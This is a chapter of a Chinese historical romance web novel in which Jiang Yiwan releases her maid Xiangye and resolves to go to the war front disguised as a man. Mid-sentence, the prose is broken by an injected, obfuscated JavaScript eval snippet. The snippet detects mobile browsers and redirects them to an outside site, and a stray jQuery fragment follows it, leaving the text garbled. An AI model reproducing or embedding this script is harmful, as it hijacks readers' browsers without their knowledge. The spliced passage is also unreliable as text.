北疆大军在溪州驻扎了短短几日,便是一举朝江北进攻。那夜季将离与江意晚匆匆话别后,也在次日整装率军远征。身为将军麾下子弟,小三虽身子尚未好全,却仍然坚持着要去前线报仇血恨。季将离耐不住他苦苦哀求,最后还是同意了带上他一同上路。原本尚且还算热闹的客栈霎时变得冷清,将军府仅存的几人就此分离,天各一方。
本该早早康复的香叶因着惊吓过度始终未能好全,仍是恹恹地反复。虽有李行风日日照料,却也只道药石无用,心病还得心药医。恍惚间,江意晚仿佛又过上了那段她无法离开将军府的日子。除却时不时探望香叶,她便是在燕儿的陪伴下无所事事地挨着每一天。这段时光持续了小半月,直到有一天,她终于自李行风处迎来了好消息——香叶痊愈了。
江意晚特意让小二备了一道温热的汤羹前去探望。刚刚踏入房门,她便是见到香叶坐在桌前,托腮仰望着窗外,面色虽不如往昔般红润,却也总算是焕发了几分生机。她轻步走到床边,将手中的汤羹轻轻放在桌面上,又柔声说道:“香叶,你大病初愈,还是好好歇着,莫要吹着风受凉了。我带了碗汤,你趁热喝吧。”
“多谢晚夫人关心,这些日子让您劳神了。”香叶微微垂首,行礼道谢,又坐回桌前,拿起汤匙舀起汤往自己口中送,“晚夫人,如今可有我家夫人的下落了?”
江意晚摇了摇头,只道:“我已托人四处找寻,可惜全然没有半分消息。”
香叶握住汤匙的手掌微微颤抖,眼中情绪颇为复杂。她沉默了片刻,忽而开口道:“晚夫人,香叶有一事相求,还望晚夫人允准。”
“何事?你但说无妨。”江意晚抬眼望向她。
“香叶想请晚夫人放我自由。”香叶抿了抿唇,低声开口道,“我知道,作为奴婢,我本不该有此奢望。更何况如今主子生死未卜,我更应守护在旁。可香叶……实在是无法继续这种生活了。”
这些日子里,她总能在梦中重复着将军府被入侵时的场景,噩梦惊醒,总是满头大汗。那一夜,她听从主子的安排,原打算独自逃离。直到见着小三后,她被他那副舍生取义的气概打动,这才鼓足勇气返回,试图营救自家主子。谁料,在终于靠近江念欢的那一瞬,她却听到了那句令人彻底心寒的话:“早知你如此忠心,先前就不让你往南边跑了。”
江念欢无心的一句,于香叶而言,却是石破天惊。她本以为自己在南院受尽屈辱本是偶然,如今听来却好似是对方的精心设计的安排。江念欢分明存着要将她作饵引开贼人的念头,可她却还自投罗网,当真是可笑至极。若说先前好歹存着些微弱的主仆情分,只怕此刻也早已消磨殆尽了。与其等江念欢回来后继续重复着担惊受怕的日子,倒不如趁她失踪时,给自己谋条出路。
“香叶,你日后有何打算?”江意晚沉思片刻,低声问道。
香叶闻声一怔,抬起头茫然地注视着她。
江意晚轻轻拍了拍她的手,又道:“如今兵荒马乱,将军府不复以往,江念欢也不知所踪。虽说你出身太仆府,可我自然知晓,那个家也不是什么好去处。香叶,我可以给自由,但你也得先为今后做好规划。我只希望你好好活着,过上自己想要的生活。”
“晚夫人,我……我会好好活下去的。”香叶虽有心相求,却对这突如其来的自由并无准备,此时满怀激动,声音都有些呜咽,“您的恩情,香叶无以为报,但香叶一定会铭记在心。”
江意晚不以为然地笑了笑,道:“你替我寻到了小三,我还要感谢你呢。不必谈什么恩情,今后你便是自由人了。你先在客栈好好养着,等完全康复后,我会安排人送你离开这里,去你想去的地方。”
香叶听见小三的名字,不自觉压低了眉,怅然地张了张嘴。她本想恳请江意晚能在再次见到小三之时替她带上谢意,可话到嘴边,却是欲言又止。那夜的他,即便犹如嗜血修罗一般拼尽全力地厮杀,即便身上满是血渍,眼底深处却仍然是清澈一片,仿佛不会被任何污秽沾染。
而她呢?她只能悄悄躲在一旁,当个累赘,什么忙也帮不上——就如同现在一样。
……
送走香叶后,江意晚终于可以安心开展自己的计划。她先是吩咐燕儿简单收拾好细软,又将近几日客栈的房费结清退了房,这才出了门。
“小姐,将军不是让你找个安全的地方躲起来吗?咱们这是要去哪儿?”燕儿跟在她身后,一脸疑惑地问道。
江意晚莞尔一笑:“去你想去的地方。”
燕儿困惑地往前走着,直到“李氏医馆”四个大字骤然显现眼前,她才不自觉地红了脸。医馆大堂内并没有人,唯有淡淡的艾叶香萦绕其间。出乎意料的是,堂内杂乱的药材此刻竟被理得整整齐齐,就连那随处可见的酒坛都被清洁一空。江意晚冲着内室朗声道:“李大夫,你在吗?”
“意晚小姐?你怎么来了?”李行风讶异地掀开门帘,在瞥见她和燕儿肩负的包袱后,便禁不住问道,“燕儿姑娘也来啦。你们这是……?”
燕儿忸怩之际,江意晚已是开门见山道:“听闻江北战况惨烈,北疆人又使用火铳炸伤了数名军医。如今军营里医师匮乏,李大夫可是打算前往前线支援?”
李行风歪了歪头望向她:“意晚小姐当真是消息灵通。不错,我正有此意。”
“既是如此,我们顺路,不如一同出发?”江意晚微微扬起唇角,静静开口。
“顺路?什么意思?”李行风不自觉瞪大双眼,愕然追问,“意晚小姐,你也要去前线?”
“天下兴亡,匹夫有责。我身为大周儿女,国难当头,也想尽自己的一份力。即便是微不足道的星星之火,或许也能助力燎原。”江意晚镇定抬起头回望。
这等决定过于突然,李行风被彻底震惊,愣在原地,倒是燕儿猝然开口道:“小姐,我们要去战场?”
“不是我们,是我。”江意晚冲她笑了笑,解释道,“我自母亲处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185819|171663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学得一身医术,自然是应当去治病救人的。而你,燕儿,你有选择自己未来的权利。你可以留在京城,也可以寻一处心仪之地定居,还可以……”
未等她说完,燕儿已是迫不及待地跪了下来:“小姐,我要和你一起。燕儿虽然不识医术,好歹能干些粗活,燕儿愿意侍奉在小姐身旁,小姐想要燕儿做什么都可以,只求小姐不要抛下燕儿……”
“燕儿,起来。”江意晚将她稳稳扶起,语调里却带着些歉意,“我知你不愿与我分离,可前线危险无比,我连自己都不一定能守护住,更别提保护你了。你若是与我一同前往,便要做好失去一切的准备,包括……你的性命。”
燕儿眼含热泪,只猛猛点头:“燕儿明白,燕儿愿意。”
李行风此时终于回过神来,急忙道:“等等等等,意晚小姐,你这决定是不是有些仓促了?战场可不是闹着玩的,你不能说去就去啊……”
“李大夫,我此行并不是来同你商量,是来通知你的。”江意晚淡然道,“今日前来,不过是念在你我相识一场,可以路上互相求个照应。若是你不愿与我同行,我也会自行出发。因此这些劝退之言,还是免了吧。”
李行风满肚子话顿时被憋回了嗓子眼里。他自知无法继续劝诫,只得无奈地挠了挠头,又看向她们一身装扮,道:“意晚小姐你都这么说了,我也不能放着你们二人不管。行,要去就去吧,我会尽力护你们周全。只不过……你们这身衣服,最好还是换一换。”
言罢,他又走入内室,片刻后,则是抱着两套浆洗得有些发白的布衣,分别递到二人手中:“这是我没长个儿之前的衣服,虽然旧了点,尺寸应当还算比较合适,你们先换上吧。要去前线,最好还是作男装打扮比较安全。还有你们那包袱未免有些大了,那些冗余之物,就不必带了。你们先收拾一下,待一切准备妥当,我们便出发。”
“小姐,我先帮你换上。”燕儿拉着她径直走向内室,手脚麻利地开始为她更衣。
片刻后,先前如花似玉的美人便是成了一副翩翩少年郎的模样。李行风的旧衣虽然质朴,穿在她身上却不显贫寒,反倒被她本身的气质衬托出一股深藏不露的沉稳内敛。她这幅眉眼本就生得纤长,此刻洗去铅华,长发高束,竟是莫名透出几分英气来。
换完衣裳,她又开始着手收拾包袱。将军府突受其难,她大半身家都在那场大火中付诸一炬,能够留在身边的除了近日新置的必需品,便是先前随身携带着的物件。挑挑拣拣半天,原本鼓鼓囊囊的包袱终于是减重了大半,她正欲重新系上,目光却忽然落在一枚通体浅碧的玉钗上。这玉钗简约大气,钗身未作装饰,仅仅在钗头处被精心雕刻成了芍药花样——正是乞巧节那日,季将离赠与她的那一枚。
她将那玉钗握在手心细细观摩,直至碧玉钗身都被体温焐热,才终于将它重新放入包袱内。
反正该丢的东西也丢了不少了,只留下这枚钗,应当也不会有太多负担吧?